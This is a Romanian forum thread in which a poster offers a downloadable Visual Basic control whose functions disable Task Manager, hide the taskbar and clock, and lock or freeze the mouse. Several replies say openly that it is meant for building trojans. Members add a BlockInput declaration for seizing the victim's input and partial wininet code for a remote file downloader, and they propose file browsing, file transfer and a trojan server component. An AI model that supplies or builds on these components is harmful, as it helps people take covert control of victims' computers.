NYTRO.OCX

[Nytro]

Un OCX pentru Visual Basic ! Prima versiune .

La ce e bun ? Simplifica cateva comenzi .

Comenzi :

 
Nytro1.OpenCDRom
Nytro1.CloseCDRom
Nytro1.ShowTaskBar
Nytro1.HideTaskBar
Nytro1.HideMouse
Nytro1.ShowMouse
Nytro1.LockExe
Nytro1.UnLockExe
Nytro1.HideClock
Nytro1.ShowClock
Nytro1.HideStart
Nytro1.ShowStart
Nytro1.HideIcons
Nytro1.ShowIcons
Nytro1.DisableTaskManager
Nytro1.EnableTaskManager

Cred ca stiti ce face fiecare comanda in parte ...

Exemplu : Pentru a deschide CD-Rom-ul :

Private Sub Command1_Click()

Nytro1.OpenCDRom

End Sub

Fara sa mai fie nevoie sa adaugati vreun modul sau vreo declaratie de functie .

Cum il folositi :

Copiati NYTRO.OCX in C:\WINDOWS\system32

In RUN scrieti : regsvr32.exe C:\WINDOWS\system32\NYTRO.OCX pentru a-l inregistra ca sa il puteti folosi in Visual Basic .

Apoi intrati in Visual Basic la Componnents , bifati NytroMT si dati Apply . Va aparea o iconita in ToolBox . Puneti iconita pe Form si folositi comenzile de mai sus . Ca sa vedeti comenzile scrieti : Nytro1. si va vor aparea comenzile .

Atentie ! Pentru a functiona pe alt calculator , e necesar fisierul nytro.ocx in folderul system32 al calculatorului respectiv !

O sa-l imbunatatesc si o sa adaug mai multe functii

Download :

http://www.coolfilehost.biz/472NYTRO.ocx

Size : 36 KB

Enjoy

[vladiii]

Apreciez ideea, dar mai bine publicai un modul, pentru ca:

1) Toti aveau acces la codul sursa (nu ca asa nu ar avea, google rulz).

2) Problemele dependentelor in VB m-au omorat pe mine. Daca fac un trojan, trebuie sa ii dau victimei si OCX'ul.

Nu ai nimic de pierdut. Salut !

[Nytro]

pai e mult mai sor asa ... decat sa te complici cu module ... si vreau sa fac un ocx pentru trojani ... asa ca oicum e necesar winsock.ocx ... da se rezolva usor cu o arhiva sfx

[Gonzalez]

Mersi omule!

E o usurare

-Gonzalez

[Nytro]

cp ... pai nush ce functii sa pun in plus la urmatoarea versiune .. astept sugestii

[ÐÒ&]

lock mouse

[Nytro]

Incerc , am pus auto-download , kill process....

[ÐÒ&]

uite te ajut eu daca vrei..da un PM,trebe sa folosesti API Block Input

Declare Function BlockInput Lib "user32.dll" ( _ ByVal fBlockIt As Long) As Long.

Dllul din care importam e user32.dll

Parametrul va fi in acest caz TRUE..in cazul in care vrem sa cedam controlul vom folosi False.

alt mod de a bloca controlul mouseului la care m am gandit:

Declare Function SetCursorPos Lib "user32" (ByVal x As Long, _
  ByVal y As Long) As Long

sau in cazul meu

System.Windows.Forms.Cursor.Current.Position

vom seta pozitia cursorului un punct fix.

bineinteles ne trebuie tipul de date POINTAPI.

acesta este cam ca o strctura.

Dim mouse as POINTAPI
mouse.x = un anume pixel.
mouse.y = un anume pixel.(Vezi sa nu depaseasca rezolutia cal;culatorukui!!!)
setcursorpos mouse.x mouse.y

Cam atat.

Cum am zis da un pm daca vrei sa te ajut;)

[Nytro]

Am pus freeze mouse , crazy mouse... astept alte sugestii ms

[ÐÒ&]

file browser..asta lipseste

File Browser!!!

o sa dau mai multe detalii cand revin..

[Scofilds]

mai noi facem un asemenea client dar serveru .. nu ar trebuie sa faci si un exemplu de sv .... ar fi genial

[Nytro]

Deci functie OpenWebSite ? Ok pun ( in IE )

Sa schimbe poza de pe desktop ... pai sa folosesc pozele din C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures ? Sau sa cer un argument cu locatia pozei ...

Cand postez noua versiune postez si un trojan ( codul sursa ) cu toate facilitatile OCX-ului

Altceva ? Nu prea am idei ..

[ÐÒ&]

downloader/uploader

later:ar fi frumos sa faci un downloader de genu trage un anume fisier de pe net

cum vei face asta

primul pas ar fi sa folosesti wininet.avem urmatoarele functii API

Private Declare Function InternetOpenUrl Lib "wininet.dll" Alias _
    "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal lpszUrl As String, _
    ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, _
    ByVal dwFlags As Long, ByVal dwContext As Long) As Long

si

Private Declare Function InternetReadFile Lib "wininet.dll" (ByVal hFile As _

Long, ByVal lpBuffer As String, ByVal dwNumberOfBytesToRead As Long, _

lNumberOfBytesRead As Long) As Integer

Dupa ce le ai declarat ar trebui sa te conectezi la el si sa iei cate un chunk de date..definit de tine.

adresa = InternetOpenUrl(hInternetSession, URL, vbNullString, 0, _
        INTERNET_FLAG_EXISTING_CONNECT, 0)
InternetReadFile(adresa, yony, Len(yony), NumberOfBytesRead)

tine minte ca aici nu am pus cazul in care sunt erori si nici nu am declarat unele constante..daca ai necazuri pm me.

[bercy]

reupload please

[Nytro]

E versiunea veche de la nytrojan.ocx, vezi daca merg linkurile de aici: http://rstcenter.com/forum/showthread.php?t=11297

[hackermad2010]

Transfer fisiere ce zici

[Nytro]

Postat la data de: 11-14-2007, 09:17 AM

Nu ma mai ocup cu asa ceva. Nu e complicat transferul de fisiere, se poate face foarte rapid, transferi fisierul pe bucati.